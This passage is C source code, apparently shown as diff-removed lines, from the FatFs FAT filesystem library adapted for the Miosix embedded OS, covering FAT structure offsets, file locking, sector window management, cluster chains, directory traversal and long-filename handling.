IsDBCS1(c) ((BYTE)(c) >= _DF1S && (BYTE)(c) <= _DF1E) -#endif - -#ifdef _DS3S /* Three 2nd byte areas */ -#define IsDBCS2(c) (((BYTE)(c) >= _DS1S && (BYTE)(c) <= _DS1E) || ((BYTE)(c) >= _DS2S && (BYTE)(c) <= _DS2E) || ((BYTE)(c) >= _DS3S && (BYTE)(c) <= _DS3E)) -#else /* Two 2nd byte areas */ -#define IsDBCS2(c) (((BYTE)(c) >= _DS1S && (BYTE)(c) <= _DS1E) || ((BYTE)(c) >= _DS2S && (BYTE)(c) <= _DS2E)) -#endif - -#else /* Code page is SBCS */ - -#define IsDBCS1(c) 0 -#define IsDBCS2(c) 0 - -#endif /* _DF1S */ - - -/* Name status flags */ -#define NS 11 /* Index of name status byte in fn[] */ -#define NS_LOSS 0x01 /* Out of 8.3 format */ -#define NS_LFN 0x02 /* Force to create LFN entry */ -#define NS_LAST 0x04 /* Last segment */ -#define NS_BODY 0x08 /* Lower case flag (body) */ -#define NS_EXT 0x10 /* Lower case flag (ext) */ -#define NS_DOT 0x20 /* Dot entry */ - - -/* FAT sub-type boundaries */ -#define MIN_FAT16 4086U /* Minimum number of clusters for FAT16 */ -#define MIN_FAT32 65526U /* Minimum number of clusters for FAT32 */ - - -/* FatFs refers the members in the FAT structures as byte array instead of -/ structure member because the structure is not binary compatible between -/ different platforms */ - -#define BS_jmpBoot 0 /* Jump instruction (3) */ -#define BS_OEMName 3 /* OEM name (8) */ -#define BPB_BytsPerSec 11 /* Sector size [byte] (2) */ -#define BPB_SecPerClus 13 /* Cluster size [sector] (1) */ -#define BPB_RsvdSecCnt 14 /* Size of reserved area [sector] (2) */ -#define BPB_NumFATs 16 /* Number of FAT copies (1) */ -#define BPB_RootEntCnt 17 /* Number of root directory entries for FAT12/16 (2) */ -#define BPB_TotSec16 19 /* Volume size [sector] (2) */ -#define BPB_Media 21 /* Media descriptor (1) */ -#define BPB_FATSz16 22 /* FAT size [sector] (2) */ -#define BPB_SecPerTrk 24 /* Track size [sector] (2) */ -#define BPB_NumHeads 26 /* Number of heads (2) */ -#define BPB_HiddSec 28 /* Number of special hidden sectors (4) */ -#define BPB_TotSec32 32 /* Volume size [sector] (4) */ -#define BS_DrvNum 36 /* Physical drive number (2) */ -#define BS_BootSig 38 /* Extended boot signature (1) */ -#define BS_VolID 39 /* Volume serial number (4) */ -#define BS_VolLab 43 /* Volume label (8) */ -#define BS_FilSysType 54 /* File system type (1) */ -#define BPB_FATSz32 36 /* FAT size [sector] (4) */ -#define BPB_ExtFlags 40 /* Extended flags (2) */ -#define BPB_FSVer 42 /* File system version (2) */ -#define BPB_RootClus 44 /* Root directory first cluster (4) */ -#define BPB_FSInfo 48 /* Offset of FSINFO sector (2) */ -#define BPB_BkBootSec 50 /* Offset of backup boot sector (2) */ -#define BS_DrvNum32 64 /* Physical drive number (2) */ -#define BS_BootSig32 66 /* Extended boot signature (1) */ -#define BS_VolID32 67 /* Volume serial number (4) */ -#define BS_VolLab32 71 /* Volume label (8) */ -#define BS_FilSysType32 82 /* File system type (1) */ -#define FSI_LeadSig 0 /* FSI: Leading signature (4) */ -#define FSI_StrucSig 484 /* FSI: Structure signature (4) */ -#define FSI_Free_Count 488 /* FSI: Number of free clusters (4) */ -#define FSI_Nxt_Free 492 /* FSI: Last allocated cluster (4) */ -#define MBR_Table 446 /* MBR: Partition table offset (2) */ -#define SZ_PTE 16 /* MBR: Size of a partition table entry */ -#define BS_55AA 510 /* Boot sector signature (2) */ - -#define DIR_Name 0 /* Short file name (11) */ -#define DIR_Attr 11 /* Attribute (1) */ -#define DIR_NTres 12 /* NT flag (1) */ -#define DIR_CrtTimeTenth 13 /* Created time sub-second (1) */ -#define DIR_CrtTime 14 /* Created time (2) */ -#define DIR_CrtDate 16 /* Created date (2) */ -#define DIR_LstAccDate 18 /* Last accessed date (2) */ -#define DIR_FstClusHI 20 /* Higher 16-bit of first cluster (2) */ -#define DIR_WrtTime 22 /* Modified time (2) */ -#define DIR_WrtDate 24 /* Modified date (2) */ -#define DIR_FstClusLO 26 /* Lower 16-bit of first cluster (2) */ -#define DIR_FileSize 28 /* File size (4) */ -#define LDIR_Ord 0 /* LFN entry order and LLE flag (1) */ -#define LDIR_Attr 11 /* LFN attribute (1) */ -#define LDIR_Type 12 /* LFN type (1) */ -#define LDIR_Chksum 13 /* Sum of corresponding SFN entry */ -#define LDIR_FstClusLO 26 /* Filled by zero (0) */ -#define SZ_DIR 32 /* Size of a directory entry */ -#define LLE 0x40 /* Last long entry flag in LDIR_Ord */ -#define DDE 0xE5 /* Deleted directory entry mark in DIR_Name[0] */ -#define NDDE 0x05 /* Replacement of the character collides with DDE */ - - -/*------------------------------------------------------------*/ -/* Module private work area */ -/*------------------------------------------------------------*/ -/* Note that uninitialized variables with static duration are -/ zeroed/nulled at start-up. If not, the compiler or start-up -/ routine is out of ANSI-C standard. -*/ - -#if _VOLUMES -//static -//FATFS *FatFs[_VOLUMES]; /* Pointer to the file system objects (logical drives) */ -#else -#error Number of volumes must not be 0. -#endif - -static -/*WORD*/ int Fsid; /* File system mount ID */ - -#if _FS_RPATH && _VOLUMES >= 2 -static -BYTE CurrVol; /* Current drive */ -#endif - -#ifdef _FS_LOCK -//static -//FILESEM Files[_FS_LOCK]; /* Open object lock semaphores */ -#endif - -#if _USE_LFN == 0 /* No LFN feature */ -#define DEF_NAMEBUF BYTE sfn[12] -#define INIT_BUF(dobj) (dobj).fn = sfn -#define INIT_BUF2(dobj,fs) (dobj).fn = sfn -#define FREE_BUF() - -#elif _USE_LFN == 1 /* LFN feature with static working buffer */ -//static -//WCHAR LfnBuf[_MAX_LFN+1]; -#define DEF_NAMEBUF BYTE sfn[12] -#define INIT_BUF(dobj) { (dobj).fn = sfn; (dobj).lfn = fs->LfnBuf; } -#define INIT_BUF2(dobj,fs) { (dobj).fn = sfn; (dobj).lfn = fs->LfnBuf; } -#define FREE_BUF() - -#elif _USE_LFN == 2 /* LFN feature with dynamic working buffer on the stack */ -#define DEF_NAMEBUF BYTE sfn[12]; WCHAR lbuf[_MAX_LFN+1] -#define INIT_BUF(dobj) { (dobj).fn = sfn; (dobj).lfn = lbuf; } -#define FREE_BUF() - -#elif _USE_LFN == 3 /* LFN feature with dynamic working buffer on the heap */ -#define DEF_NAMEBUF BYTE sfn[12]; WCHAR *lfn -#define INIT_BUF(dobj) { lfn = ff_memalloc((_MAX_LFN + 1) * 2); \ - if (!lfn) LEAVE_FF((dobj).fs, FR_NOT_ENOUGH_CORE); \ - (dobj).lfn = lfn; (dobj).fn = sfn; } -#define FREE_BUF() ff_memfree(lfn) - -#else -#error Wrong LFN configuration. -#endif - - -#ifdef _EXCVT -static -const BYTE ExCvt[] = _EXCVT; /* Upper conversion table for extended characters */ -#endif - - - - - - -/*-------------------------------------------------------------------------- - - Module Private Functions - ----------------------------------------------------------------------------*/ - - -/*-----------------------------------------------------------------------*/ -/* String functions */ -/*-----------------------------------------------------------------------*/ - -// Added by TFT -- begin - -//Using newlib's version of memcpy, memset, memcmp and strchr which are -//performance optimized, while these are size optimized ones. -#define mem_cpy memcpy -#define mem_set memset -#define mem_cmp memcmp - -/* Copy memory to memory */ -// static -// void mem_cpy (void* dst, const void* src, UINT cnt) { -// BYTE *d = (BYTE*)dst; -// const BYTE *s = (const BYTE*)src; -// -// #if _WORD_ACCESS == 1 -// while (cnt >= sizeof (int)) { -// *(int*)d = *(int*)s; -// d += sizeof (int); s += sizeof (int); -// cnt -= sizeof (int); -// } -// #endif -// while (cnt--) -// *d++ = *s++; -//} - -/* Fill memory */ -// static -// void mem_set (void* dst, int val, UINT cnt) { -// BYTE *d = (BYTE*)dst; -// -// while (cnt--) -// *d++ = (BYTE)val; -// } - -/* Compare memory to memory */ -// static -// int mem_cmp (const void* dst, const void* src, UINT cnt) { -// const BYTE *d = (const BYTE *)dst, *s = (const BYTE *)src; -// int r = 0; -// -// while (cnt-- && (r = *d++ - *s++) == 0) ; -// return r; -// } - -/* Check if chr is contained in the string */ -static -int chk_chr (const char* str, int chr) { - //while (*str && *str != chr) str++; - //return *str; - char *result=strchr(str,chr); - if(result) return *result; - else return 0; -} - -// Added by TFT -- end - - -/*-----------------------------------------------------------------------*/ -/* Request/Release grant to access the volume */ -/*-----------------------------------------------------------------------*/ -#if _FS_REENTRANT -static -int lock_fs ( - FATFS* fs /* File system object */ -) -{ - return ff_req_grant(fs->sobj); -} - - -static -void unlock_fs ( - FATFS* fs, /* File system object */ - FRESULT res /* Result code to be returned */ -) -{ - if (fs && - res != FR_NOT_ENABLED && - res != FR_INVALID_DRIVE && - res != FR_INVALID_OBJECT && - res != FR_TIMEOUT) { - ff_rel_grant(fs->sobj); - } -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* File lock control functions */ -/*-----------------------------------------------------------------------*/ -#ifdef _FS_LOCK - -static -FRESULT chk_lock ( /* Check if the file can be accessed */ - DIR_* dp, /* Directory object pointing the file to be checked */ - int acc /* Desired access (0:Read, 1:Write, 2:Delete/Rename) */ -) -{ - UINT i, be; - - /* Search file semaphore table */ - for (i = be = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { - if (dp->fs->Files[i].fs) { /* Existing entry */ - if (dp->fs->Files[i].fs == dp->fs && /* Check if the object matched with an open object */ - dp->fs->Files[i].clu == dp->sclust && - dp->fs->Files[i].idx == dp->index) break; - } else { /* Blank entry */ - be = 1; - } - } - if (i == miosix::FATFS_MAX_OPEN_FILES) /* The object is not opened */ - return (be || acc == 2) ? FR_OK : FR_TOO_MANY_OPEN_FILES; /* Is there a blank entry for new object? */ - - /* The object has been opened. Reject any open against writing file and all write mode open */ - return (acc || dp->fs->Files[i].ctr == 0x100) ? FR_LOCKED : FR_OK; -} - - -static -int enq_lock (FATFS *fs) /* Check if an entry is available for a new object */ -{ - UINT i; - - for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES && fs->Files[i].fs; i++) ; - return (i == miosix::FATFS_MAX_OPEN_FILES) ? 0 : 1; -} - - -static -UINT inc_lock ( /* Increment object open counter and returns its index (0:Internal error) */ - DIR_* dp, /* Directory object pointing the file to register or increment */ - int acc /* Desired access (0:Read, 1:Write, 2:Delete/Rename) */ -) -{ - UINT i; - - - for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { /* Find the object */ - if (dp->fs->Files[i].fs == dp->fs && - dp->fs->Files[i].clu == dp->sclust && - dp->fs->Files[i].idx == dp->index) break; - } - - if (i == miosix::FATFS_MAX_OPEN_FILES) { /* Not opened. Register it as new. */ - for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES && dp->fs->Files[i].fs; i++) ; - if (i == miosix::FATFS_MAX_OPEN_FILES) return 0; /* No free entry to register (int err) */ - dp->fs->Files[i].fs = dp->fs; - dp->fs->Files[i].clu = dp->sclust; - dp->fs->Files[i].idx = dp->index; - dp->fs->Files[i].ctr = 0; - } - - if (acc && dp->fs->Files[i].ctr) return 0; /* Access violation (int err) */ - - dp->fs->Files[i].ctr = acc ? 0x100 : dp->fs->Files[i].ctr + 1; /* Set semaphore value */ - - return i + 1; -} - - -static -FRESULT dec_lock ( /* Decrement object open counter */ - FATFS *fs, - UINT i /* Semaphore index (1..) */ -) -{ - WORD n; - FRESULT res; - - - if (--i < miosix::FATFS_MAX_OPEN_FILES) { /* Shift index number origin from 0 */ - n = fs->Files[i].ctr; - if (n == 0x100) n = 0; /* If write mode open, delete the entry */ - if (n) n--; /* Decrement read mode open count */ - fs->Files[i].ctr = n; - if (!n) fs->Files[i].fs = 0; /* Delete the entry if open count gets zero */ - res = FR_OK; - } else { - res = FR_INT_ERR; /* Invalid index nunber */ - } - return res; -} - - -static -void clear_lock ( /* Clear lock entries of the volume */ - FATFS *fs -) -{ - UINT i; - - for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { - if (fs->Files[i].fs == fs) fs->Files[i].fs = 0; - } -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Move/Flush disk access window in the file system object */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY -static -FRESULT sync_window ( - FATFS* fs /* File system object */ -) -{ - DWORD wsect; - UINT nf; - - - if (fs->wflag) { /* Write back the sector if it is dirty */ - wsect = fs->winsect; /* Current sector number */ - if (disk_write(fs->drv, fs->win, wsect, 1)) - return FR_DISK_ERR; - fs->wflag = 0; - if (wsect - fs->fatbase < fs->fsize) { /* Is it in the FAT area? */ - for (nf = fs->n_fats; nf >= 2; nf--) { /* Reflect the change to all FAT copies */ - wsect += fs->fsize; - disk_write(fs->drv, fs->win, wsect, 1); - } - } - } - return FR_OK; -} -#endif - - -static -FRESULT move_window ( - FATFS* fs, /* File system object */ - DWORD sector /* Sector number to make appearance in the fs->win[] */ -) -{ - if (sector != fs->winsect) { /* Changed current window */ -#if !_FS_READONLY - if (sync_window(fs) != FR_OK) - return FR_DISK_ERR; -#endif - if (disk_read(fs->drv, fs->win, sector, 1)) - return FR_DISK_ERR; - fs->winsect = sector; - } - - return FR_OK; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Synchronize file system and strage device */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY -static -FRESULT sync_fs ( /* FR_OK: successful, FR_DISK_ERR: failed */ - FATFS* fs /* File system object */ -) -{ - FRESULT res; - - - res = sync_window(fs); - if (res == FR_OK) { - /* Update FSINFO sector if needed */ - if (fs->fs_type == FS_FAT32 && fs->fsi_flag == 1) { - /* Create FSINFO structure */ - mem_set(fs->win, 0, SS(fs)); - ST_WORD(fs->win+BS_55AA, 0xAA55); - ST_DWORD(fs->win+FSI_LeadSig, 0x41615252); - ST_DWORD(fs->win+FSI_StrucSig, 0x61417272); - ST_DWORD(fs->win+FSI_Free_Count, fs->free_clust); - ST_DWORD(fs->win+FSI_Nxt_Free, fs->last_clust); - /* Write it into the FSINFO sector */ - fs->winsect = fs->volbase + 1; - disk_write(fs->drv, fs->win, fs->winsect, 1); - fs->fsi_flag = 0; - } - /* Make sure that no pending write process in the physical drive */ - if (disk_ioctl(fs->drv, CTRL_SYNC, 0) != RES_OK) - res = FR_DISK_ERR; - } - - return res; -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Get sector# from cluster# */ -/*-----------------------------------------------------------------------*/ - - -DWORD clust2sect ( /* !=0: Sector number, 0: Failed - invalid cluster# */ - FATFS* fs, /* File system object */ - DWORD clst /* Cluster# to be converted */ -) -{ - clst -= 2; - if (clst >= (fs->n_fatent - 2)) return 0; /* Invalid cluster# */ - return clst * fs->csize + fs->database; -} - - - - -/*-----------------------------------------------------------------------*/ -/* FAT access - Read value of a FAT entry */ -/*-----------------------------------------------------------------------*/ - - -DWORD get_fat ( /* 0xFFFFFFFF:Disk error, 1:Internal error, Else:Cluster status */ - FATFS* fs, /* File system object */ - DWORD clst /* Cluster# to get the link information */ -) -{ - UINT wc, bc; - BYTE *p; - - - if (clst < 2 || clst >= fs->n_fatent) /* Check range */ - return 1; - - switch (fs->fs_type) { - case FS_FAT12 : - bc = (UINT)clst; bc += bc / 2; - if (move_window(fs, fs->fatbase + (bc / SS(fs)))) break; - wc = fs->win[bc % SS(fs)]; bc++; - if (move_window(fs, fs->fatbase + (bc / SS(fs)))) break; - wc |= fs->win[bc % SS(fs)] << 8; - return clst & 1 ? wc >> 4 : (wc & 0xFFF); - - case FS_FAT16 : - if (move_window(fs, fs->fatbase + (clst / (SS(fs) / 2)))) break; - p = &fs->win[clst * 2 % SS(fs)]; - return LD_WORD(p); - - case FS_FAT32 : - if (move_window(fs, fs->fatbase + (clst / (SS(fs) / 4)))) break; - p = &fs->win[clst * 4 % SS(fs)]; - return LD_DWORD(p) & 0x0FFFFFFF; - } - - return 0xFFFFFFFF; /* An error occurred at the disk I/O layer */ -} - - - - -/*-----------------------------------------------------------------------*/ -/* FAT access - Change value of a FAT entry */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY - -FRESULT put_fat ( - FATFS* fs, /* File system object */ - DWORD clst, /* Cluster# to be changed in range of 2 to fs->n_fatent - 1 */ - DWORD val /* New value to mark the cluster */ -) -{ - UINT bc; - BYTE *p; - FRESULT res; - - - if (clst < 2 || clst >= fs->n_fatent) { /* Check range */ - res = FR_INT_ERR; - - } else { - switch (fs->fs_type) { - case FS_FAT12 : - bc = (UINT)clst; bc += bc / 2; - res = move_window(fs, fs->fatbase + (bc / SS(fs))); - if (res != FR_OK) break; - p = &fs->win[bc % SS(fs)]; - *p = (clst & 1) ? ((*p & 0x0F) | ((BYTE)val << 4)) : (BYTE)val; - bc++; - fs->wflag = 1; - res = move_window(fs, fs->fatbase + (bc / SS(fs))); - if (res != FR_OK) break; - p = &fs->win[bc % SS(fs)]; - *p = (clst & 1) ? (BYTE)(val >> 4) : ((*p & 0xF0) | ((BYTE)(val >> 8) & 0x0F)); - break; - - case FS_FAT16 : - res = move_window(fs, fs->fatbase + (clst / (SS(fs) / 2))); - if (res != FR_OK) break; - p = &fs->win[clst * 2 % SS(fs)]; - ST_WORD(p, (WORD)val); - break; - - case FS_FAT32 : - res = move_window(fs, fs->fatbase + (clst / (SS(fs) / 4))); - if (res != FR_OK) break; - p = &fs->win[clst * 4 % SS(fs)]; - val |= LD_DWORD(p) & 0xF0000000; - ST_DWORD(p, val); - break; - - default : - res = FR_INT_ERR; - } - fs->wflag = 1; - } - - return res; -} -#endif /* !_FS_READONLY */ - - - - -/*-----------------------------------------------------------------------*/ -/* FAT handling - Remove a cluster chain */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY -static -FRESULT remove_chain ( - FATFS* fs, /* File system object */ - DWORD clst /* Cluster# to remove a chain from */ -) -{ - FRESULT res; - DWORD nxt; -#if _USE_ERASE - DWORD scl = clst, ecl = clst, rt[2]; -#endif - - if (clst < 2 || clst >= fs->n_fatent) { /* Check range */ - res = FR_INT_ERR; - - } else { - res = FR_OK; - while (clst < fs->n_fatent) { /* Not a last link? */ - nxt = get_fat(fs, clst); /* Get cluster status */ - if (nxt == 0) break; /* Empty cluster? */ - if (nxt == 1) { res = FR_INT_ERR; break; } /* Internal error? */ - if (nxt == 0xFFFFFFFF) { res = FR_DISK_ERR; break; } /* Disk error? */ - res = put_fat(fs, clst, 0); /* Mark the cluster "empty" */ - if (res != FR_OK) break; - if (fs->free_clust != 0xFFFFFFFF) { /* Update FSINFO */ - fs->free_clust++; - fs->fsi_flag |= 1; - } -#if _USE_ERASE - if (ecl + 1 == nxt) { /* Is next cluster contiguous? */ - ecl = nxt; - } else { /* End of contiguous clusters */ - rt[0] = clust2sect(fs, scl); /* Start sector */ - rt[1] = clust2sect(fs, ecl) + fs->csize - 1; /* End sector */ - disk_ioctl(fs->drv, CTRL_ERASE_SECTOR, rt); /* Erase the block */ - scl = ecl = nxt; - } -#endif - clst = nxt; /* Next cluster */ - } - } - - return res; -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* FAT handling - Stretch or Create a cluster chain */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY -static -DWORD create_chain ( /* 0:No free cluster, 1:Internal error, 0xFFFFFFFF:Disk error, >=2:New cluster# */ - FATFS* fs, /* File system object */ - DWORD clst /* Cluster# to stretch. 0 means create a new chain. */ -) -{ - DWORD cs, ncl, scl; - FRESULT res; - - - if (clst == 0) { /* Create a new chain */ - scl = fs->last_clust; /* Get suggested start point */ - if (!scl || scl >= fs->n_fatent) scl = 1; - } - else { /* Stretch the current chain */ - cs = get_fat(fs, clst); /* Check the cluster status */ - if (cs < 2) return 1; /* It is an invalid cluster */ - if (cs < fs->n_fatent) return cs; /* It is already followed by next cluster */ - scl = clst; - } - - ncl = scl; /* Start cluster */ - for (;;) { - ncl++; /* Next cluster */ - if (ncl >= fs->n_fatent) { /* Wrap around */ - ncl = 2; - if (ncl > scl) return 0; /* No free cluster */ - } - cs = get_fat(fs, ncl); /* Get the cluster status */ - if (cs == 0) break; /* Found a free cluster */ - if (cs == 0xFFFFFFFF || cs == 1)/* An error occurred */ - return cs; - if (ncl == scl) return 0; /* No free cluster */ - } - - res = put_fat(fs, ncl, 0x0FFFFFFF); /* Mark the new cluster "last link" */ - if (res == FR_OK && clst != 0) { - res = put_fat(fs, clst, ncl); /* Link it to the previous one if needed */ - } - if (res == FR_OK) { - fs->last_clust = ncl; /* Update FSINFO */ - if (fs->free_clust != 0xFFFFFFFF) { - fs->free_clust--; - fs->fsi_flag |= 1; - } - } else { - ncl = (res == FR_DISK_ERR) ? 0xFFFFFFFF : 1; - } - - return ncl; /* Return new cluster number or error code */ -} -#endif /* !_FS_READONLY */ - - - - -/*-----------------------------------------------------------------------*/ -/* FAT handling - Convert offset into cluster with link map table */ -/*-----------------------------------------------------------------------*/ - -#if _USE_FASTSEEK -static -DWORD clmt_clust ( /* <2:Error, >=2:Cluster number */ - FIL* fp, /* Pointer to the file object */ - DWORD ofs /* File offset to be converted to cluster# */ -) -{ - DWORD cl, ncl, *tbl; - - - tbl = fp->cltbl + 1; /* Top of CLMT */ - cl = ofs / SS(fp->fs) / fp->fs->csize; /* Cluster order from top of the file */ - for (;;) { - ncl = *tbl++; /* Number of cluters in the fragment */ - if (!ncl) return 0; /* End of table? (error) */ - if (cl < ncl) break; /* In this fragment? */ - cl -= ncl; tbl++; /* Next fragment */ - } - return cl + *tbl; /* Return the cluster number */ -} -#endif /* _USE_FASTSEEK */ - - - - -/*-----------------------------------------------------------------------*/ -/* Directory handling - Set directory index */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT dir_sdi ( - DIR_* dp, /* Pointer to directory object */ - WORD idx /* Index of directory table */ -) -{ - DWORD clst; - WORD ic; - - - dp->index = idx; - clst = dp->sclust; - if (clst == 1 || clst >= dp->fs->n_fatent) /* Check start cluster range */ - return FR_INT_ERR; - if (!clst && dp->fs->fs_type == FS_FAT32) /* Replace cluster# 0 with root cluster# if in FAT32 */ - clst = dp->fs->dirbase; - - if (clst == 0) { /* Static table (root-directory in FAT12/16) */ - dp->clust = clst; - if (idx >= dp->fs->n_rootdir) /* Index is out of range */ - return FR_INT_ERR; - dp->sect = dp->fs->dirbase + idx / (SS(dp->fs) / SZ_DIR); /* Sector# */ - } - else { /* Dynamic table (sub-dirs or root-directory in FAT32) */ - ic = SS(dp->fs) / SZ_DIR * dp->fs->csize; /* Entries per cluster */ - while (idx >= ic) { /* Follow cluster chain */ - clst = get_fat(dp->fs, clst); /* Get next cluster */ - if (clst == 0xFFFFFFFF) return FR_DISK_ERR; /* Disk error */ - if (clst < 2 || clst >= dp->fs->n_fatent) /* Reached to end of table or int error */ - return FR_INT_ERR; - idx -= ic; - } - dp->clust = clst; - dp->sect = clust2sect(dp->fs, clst) + idx / (SS(dp->fs) / SZ_DIR); /* Sector# */ - } - - dp->dir = dp->fs->win + (idx % (SS(dp->fs) / SZ_DIR)) * SZ_DIR; /* Ptr to the entry in the sector */ - - return FR_OK; /* Seek succeeded */ -} - - - - -/*-----------------------------------------------------------------------*/ -/* Directory handling - Move directory table index next */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT dir_next ( /* FR_OK:Succeeded, FR_NO_FILE:End of table, FR_DENIED:Could not stretch */ - DIR_* dp, /* Pointer to the directory object */ - int stretch /* 0: Do not stretch table, 1: Stretch table if needed */ -) -{ - DWORD clst; - WORD i; - - - i = dp->index + 1; - if (!i || !dp->sect) /* Report EOT when index has reached 65535 */ - return FR_NO_FILE; - - if (!(i % (SS(dp->fs) / SZ_DIR))) { /* Sector changed? */ - dp->sect++; /* Next sector */ - - if (!dp->clust) { /* Static table */ - if (i >= dp->fs->n_rootdir) /* Report EOT if it reached end of static table */ - return FR_NO_FILE; - } - else { /* Dynamic table */ - if (((i / (SS(dp->fs) / SZ_DIR)) & (dp->fs->csize - 1)) == 0) { /* Cluster changed? */ - clst = get_fat(dp->fs, dp->clust); /* Get next cluster */ - if (clst <= 1) return FR_INT_ERR; - if (clst == 0xFFFFFFFF) return FR_DISK_ERR; - if (clst >= dp->fs->n_fatent) { /* If it reached end of dynamic table, */ -#if !_FS_READONLY - BYTE c; - if (!stretch) return FR_NO_FILE; /* If do not stretch, report EOT */ - clst = create_chain(dp->fs, dp->clust); /* Stretch cluster chain */ - if (clst == 0) return FR_DENIED; /* No free cluster */ - if (clst == 1) return FR_INT_ERR; - if (clst == 0xFFFFFFFF) return FR_DISK_ERR; - /* Clean-up stretched table */ - if (sync_window(dp->fs)) return FR_DISK_ERR;/* Flush disk access window */ - mem_set(dp->fs->win, 0, SS(dp->fs)); /* Clear window buffer */ - dp->fs->winsect = clust2sect(dp->fs, clst); /* Cluster start sector */ - for (c = 0; c < dp->fs->csize; c++) { /* Fill the new cluster with 0 */ - dp->fs->wflag = 1; - if (sync_window(dp->fs)) return FR_DISK_ERR; - dp->fs->winsect++; - } - dp->fs->winsect -= c; /* Rewind window offset */ -#else - if (!stretch) return FR_NO_FILE; /* If do not stretch, report EOT */ - return FR_NO_FILE; /* Report EOT */ -#endif - } - dp->clust = clst; /* Initialize data for new cluster */ - dp->sect = clust2sect(dp->fs, clst); - } - } - } - - dp->index = i; /* Current index */ - dp->dir = dp->fs->win + (i % (SS(dp->fs) / SZ_DIR)) * SZ_DIR; /* Current entry in the window */ - - return FR_OK; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Directory handling - Reserve directory entry */ -/*-----------------------------------------------------------------------*/ - -#if !_FS_READONLY -static -FRESULT dir_alloc ( - DIR_* dp, /* Pointer to the directory object */ - UINT nent /* Number of contiguous entries to allocate (1-21) */ -) -{ - FRESULT res; - UINT n; - - - res = dir_sdi(dp, 0); - if (res == FR_OK) { - n = 0; - do { - res = move_window(dp->fs, dp->sect); - if (res != FR_OK) break; - if (dp->dir[0] == DDE || dp->dir[0] == 0) { /* Is it a blank entry? */ - if (++n == nent) break; /* A block of contiguous entries is found */ - } else { - n = 0; /* Not a blank entry. Restart to search */ - } - res = dir_next(dp, 1); /* Next entry with table stretch enabled */ - } while (res == FR_OK); - } - if (res == FR_NO_FILE) res = FR_DENIED; /* No directory entry to allocate */ - return res; -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Directory handling - Load/Store start cluster number */ -/*-----------------------------------------------------------------------*/ - -static -DWORD ld_clust ( - FATFS* fs, /* Pointer to the fs object */ - BYTE* dir /* Pointer to the directory entry */ -) -{ - DWORD cl; - - cl = LD_WORD(dir+DIR_FstClusLO); - if (fs->fs_type == FS_FAT32) - cl |= (DWORD)LD_WORD(dir+DIR_FstClusHI) << 16; - - return cl; -} - - -#if !_FS_READONLY -static -void st_clust ( - BYTE* dir, /* Pointer to the directory entry */ - DWORD cl /* Value to be set */ -) -{ - ST_WORD(dir+DIR_FstClusLO, cl); - ST_WORD(dir+DIR_FstClusHI, cl >> 16); -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* LFN handling - Test/Pick/Fit an LFN segment from/to directory entry */ -/*-----------------------------------------------------------------------*/ -#if _USE_LFN -static -const BYTE LfnOfs[] = {1,3,5,7,9,14,16,18,20,22,24,28,30}; /* Offset of LFN characters in the directory entry */ - - -static -int cmp_lfn ( /* 1:Matched, 0:Not matched */ - WCHAR* lfnbuf, /* Pointer to the LFN to be compared */ - BYTE* dir /* Pointer to the directory entry containing a part of LFN */ -) -{ - UINT i, s; - WCHAR wc, uc; - - - i = ((dir[LDIR_Ord] & ~LLE) - 1) * 13; /* Get offset in the LFN buffer */ - s = 0; wc = 1; - do { - uc = LD_WORD(dir+LfnOfs[s]); /* Pick an LFN character from the entry */ - if (wc) { /* Last character has not been processed */ - wc = ff_wtoupper(uc); /* Convert it to upper case */ - if (i >= _MAX_LFN || wc != ff_wtoupper(lfnbuf[i++])) /* Compare it */ - return 0; /* Not matched */ - } else { - if (uc != 0xFFFF) return 0; /* Check filler */ - } - } while (++s < 13); /* Repeat until all characters in the entry are checked */ - - if ((dir[LDIR_Ord] & LLE) && wc && lfnbuf[i]) /* Last segment matched but different length */ - return 0; - - return 1; /* The part of LFN matched */ -} - - - -static -int pick_lfn ( /* 1:Succeeded, 0:Buffer overflow */ - WCHAR* lfnbuf, /* Pointer to the Unicode-LFN buffer */ - BYTE* dir /* Pointer to the directory entry */ -) -{ - UINT i, s; - WCHAR wc, uc; - - - i = ((dir[LDIR_Ord] & 0x3F) - 1) * 13; /* Offset in the LFN buffer */ - - s = 0; wc = 1; - do { - uc = LD_WORD(dir+LfnOfs[s]); /* Pick an LFN character from the entry */ - if (wc) { /* Last character has not been processed */ - if (i >= _MAX_LFN) return 0; /* Buffer overflow? */ - lfnbuf[i++] = wc = uc; /* Store it */ - } else { - if (uc != 0xFFFF) return 0; /* Check filler */ - } - } while (++s < 13); /* Read all character in the entry */ - - if (dir[LDIR_Ord] & LLE) { /* Put terminator if it is the last LFN part */ - if (i >= _MAX_LFN) return 0; /* Buffer overflow? */ - lfnbuf[i] = 0; - } - - return 1; -} - - -#if !_FS_READONLY -static -void fit_lfn ( - const WCHAR* lfnbuf, /* Pointer to the LFN buffer */ - BYTE* dir, /* Pointer to the directory entry */ - BYTE ord, /* LFN order (1-20) */ - BYTE sum /* SFN sum */ -) -{ - UINT i, s; - WCHAR wc; - - - dir[LDIR_Chksum] = sum; /* Set check sum */ - dir[LDIR_Attr] = AM_LFN; /* Set attribute. LFN entry */ - dir[LDIR_Type] = 0; - ST_WORD(dir+LDIR_FstClusLO, 0); - - i = (ord - 1) * 13; /* Get offset in the LFN buffer */ - s = wc = 0; - do { - if (wc != 0xFFFF) wc = lfnbuf[i++]; /* Get an effective character */ - ST_WORD(dir+LfnOfs[s], wc); /* Put it */ - if (!wc) wc = 0xFFFF; /* Padding characters following last character */ - } while (++s < 13); - if (wc == 0xFFFF || 